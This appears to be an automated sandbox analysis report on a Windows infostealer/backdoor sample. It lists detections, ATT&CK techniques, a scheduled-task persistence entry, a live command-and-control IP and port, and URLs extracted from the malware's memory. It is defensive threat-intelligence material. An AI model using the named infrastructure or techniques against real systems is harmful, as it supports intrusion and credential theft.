Source: Yara match	File source: 11.2.VcihjWRO.exe.4445bf8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.445da18.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47a46e8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.I5pvP0CU6M.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47bc508.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.445da18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: I5pvP0CU6M.exe PID: 2432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: I5pvP0CU6M.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VcihjWRO.exe PID: 7224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VcihjWRO.exe PID: 7568, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	331 Security Software Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	241 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	241 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	113 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
I5pvP0CU6M.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
I5pvP0CU6M.exe	65%	Virustotal		Browse
I5pvP0CU6M.exe	100%	Avira	HEUR/AGEN.1357257
I5pvP0CU6M.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\VcihjWRO.exe	68%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ip.sb	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
https://ipinfo.io/ip%appdata%	0%	Virustotal		Browse
http://tempuri.org/Endpoint/CheckConnectResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettings	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
45.137.22.248:55615	true		unknown
http://45.137.22.248:55615/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	I5pvP0CU6M.exe, I5pvP0CU6M.exe, 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://schemas.datacontract.org/2004/07/	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/EnvironmentSettings	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002AD0000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003350000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	I5pvP0CU6M.exe, I5pvP0CU6M.exe, 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	VcihjWRO.exe, 00000011.00000002.2427530855.0000000003350000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Gamee.xsd7PoisonRoulette.GameResource	I5pvP0CU6M.exe, VcihjWRO.exe.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
http://tempuri.org/	VcihjWRO.exe, 00000011.00000002.2427530855.0000000003350000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/CheckConnect	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	I5pvP0CU6M.exe, VcihjWRO.exe.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/GetUpdates	VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
http://45.137.22.248:55615	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002BC0000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003392000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ipify.orgcookies//settinString.Removeg	I5pvP0CU6M.exe, I5pvP0CU6M.exe, 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/VerifyUpdate	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/0	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	I5pvP0CU6M.exe, 00000000.00000002.2219893866.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2314956361.0000000002B5A000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.0000000003301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.137.22.248	unknown	Netherlands		51447	ROOTLAYERNETNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548177
Start date and time:	2024-11-04 04:31:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	I5pvP0CU6M.exe renamed because original name is a hash value
Original Sample Name:	68b2a6e71c0c904a9aeabfc9adbf7a21.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/103@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 117 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 104.26.13.31, 172.67.75.172
Excluded domains from analysis (whitelisted): client.wns.windows.com, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:32:04	Task Scheduler	Run new task: VcihjWRO path: C:\Users\user\AppData\Roaming\VcihjWRO.exe
22:31:54	API Interceptor	38x Sleep call for process: I5pvP0CU6M.exe modified
22:32:01	API Interceptor	39x Sleep call for process: powershell.exe modified
22:32:05	API Interceptor	34x Sleep call for process: VcihjWRO.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.137.22.248	New_Order_-_PSFK23TT002.exe	Get hash	malicious	GuLoader	Browse	45.137.22.248/eQobTNPQQm56.bin
45.137.22.248	BOQ.00987578.exe	Get hash	malicious	Remcos, GuLoader	Browse	45.137.22.248/ZIWRb187.bin

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROOTLAYERNETNL	gLsenXDHxP.exe	Get hash	malicious	RedLine	Browse	185.222.58.240
	DEVIS + FACTURE.exe	Get hash	malicious	Remcos, GuLoader	Browse	45.137.22.126
	PZNfhfaj9O.exe	Get hash	malicious	RedLine	Browse	185.222.58.80
	ZxS8mP8uE6.exe	Get hash	malicious	RedLine	Browse	45.137.22.123
	nu28HwzQwC.exe	Get hash	malicious	RedLine	Browse	185.222.58.52
	DKO6uy1Tia.exe	Get hash	malicious	RedLine	Browse	45.137.22.70
	3BOCQ22aUs.ps1	Get hash	malicious	Unknown	Browse	45.137.20.45
	Order Proposal.exe	Get hash	malicious	RedLine	Browse	45.137.22.121
	l2rMtmFkD6.exe	Get hash	malicious	RedLine	Browse	185.222.58.233
	HJEbEB40vP.exe	Get hash	malicious	GuLoader	Browse	185.222.58.113

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VcihjWRO.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//YPUyus:lGLHyIFKL3IZ2KRH9OugQs
MD5:	D0EF8E4DD120F790DD4A5434452024B2
SHA1:	2C48DCEC4D2B6914EC9D50CFD9C252F4ACA64E86
SHA-256:	8F8FB9D5320955882AC16C0025398A4443496B123BB532D92CFA80E78BB98497
SHA-512:	B1022D646EDFDFAD447992363C54EA5D270A8EEEFD2730BE56143BBB8B24945AC65D2AFCECC7600431362773921C8809B57A6364B8FF3C640B47FDF41B6E71EA
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

